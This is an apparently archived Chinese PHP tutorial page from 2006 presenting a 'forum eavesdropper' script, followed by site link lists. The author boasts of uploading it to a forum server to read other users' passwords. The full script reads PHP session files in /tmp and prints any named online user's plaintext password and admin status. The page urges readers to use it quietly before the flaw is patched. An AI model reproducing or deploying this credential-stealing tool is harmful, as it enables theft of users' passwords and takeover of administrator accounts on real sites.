一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
如何过滤高亮显示非法字符
Oct 09 PHP
PHP个人网站架设连环讲(一)
Oct 09 PHP
简化php模板页面中分页代码的解析
Feb 06 PHP
PHP采集相关教程之一 CURL函数库
Feb 15 PHP
PHP ? EasyUI DataGrid 资料取的方式介绍
Nov 07 PHP
使用PHP和HTML5 FormData实现无刷新文件上传教程
Sep 06 PHP
php查看当前Session的ID实例
Mar 16 PHP
codeigniter中view通过循环显示数组数据的方法
Mar 20 PHP
Yii数据模型中rules类验证器用法分析
Jul 15 PHP
PHP遍历目录文件的常用方法小结
Feb 03 PHP
Laravel如何友好的修改.env配置文件详解
Jun 07 PHP
thinkphp框架类库扩展操作示例
Nov 26 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
上传多个文件的PHP脚本
2006/11/26 PHP
PHP 的 __FILE__ 常量
2007/01/15 PHP
UPUPW 更新 64 位 Apache 系列 PHP 7.0 正式版
2015/12/08 PHP
PHP调用API接口实现天气查询功能的示例
2017/09/21 PHP
redis+php实现微博(二)发布与关注功能详解
2019/09/23 PHP
使用TextRange获取输入框中光标的位置的代码
2007/03/08 Javascript
在Z-Blog中运行代码[html][/html](纯JS版)
2007/03/25 Javascript
点击隐藏页面左栏或右栏实现js代码
2013/04/01 Javascript
js之ActiveX控件使用说明 new ActiveXObject()
2014/03/03 Javascript
JS动态改变浏览器标题的方法
2016/04/06 Javascript
AngularJs Understanding the Model Component
2016/09/02 Javascript
vue.js初学入门教程(2)
2016/11/07 Javascript
微信小程序-图片、录音、音频播放、音乐播放、视频、文件代码实例
2016/11/22 Javascript
JS创建Tag标签的方法详解
2017/06/09 Javascript
js 客户端打印html 并且去掉页眉、页脚的实例
2017/11/03 Javascript
Javascript中prototype与__proto__的关系详解
2018/03/11 Javascript
微信小程序左滑删除功能开发案例详解
2018/11/12 Javascript
JavaScript通如何过RGraph实现动态仪表盘
2020/10/15 Javascript
浅谈Python单向链表的实现
2015/12/24 Python
详解设计模式中的工厂方法模式在Python程序中的运用
2016/03/02 Python
python之Socket网络编程详解
2016/09/29 Python
Python实现的排列组合计算操作示例
2017/10/13 Python
python提取照片坐标信息的实例代码
2019/08/14 Python
Python函数式编程指南:对生成器全面讲解
2019/11/19 Python
Python 解决相对路径问题:&quot;No such file or directory&quot;
2020/06/05 Python
Python 存取npy格式数据实例
2020/07/01 Python
YSL圣罗兰美妆俄罗斯官网:Yves Saint Lauret RU
2020/09/23 全球购物
行政办公室岗位职责
2014/03/18 职场文书
小学生中国梦演讲稿
2014/04/23 职场文书
家长会学生演讲稿
2014/04/26 职场文书
顶岗实习计划书
2015/01/16 职场文书
接待员岗位职责范本
2015/04/15 职场文书
2016年9月份红领巾广播稿
2015/12/21 职场文书
Python实现socket库网络通信套接字
2021/06/04 Python
Linux中Nginx的防盗链和优化的实现代码
2021/06/20 Servers
SQL 尚未定义空闲 CPU 条件 - OnIdle 作业计划将不起任何作用
2021/06/30 SQL Server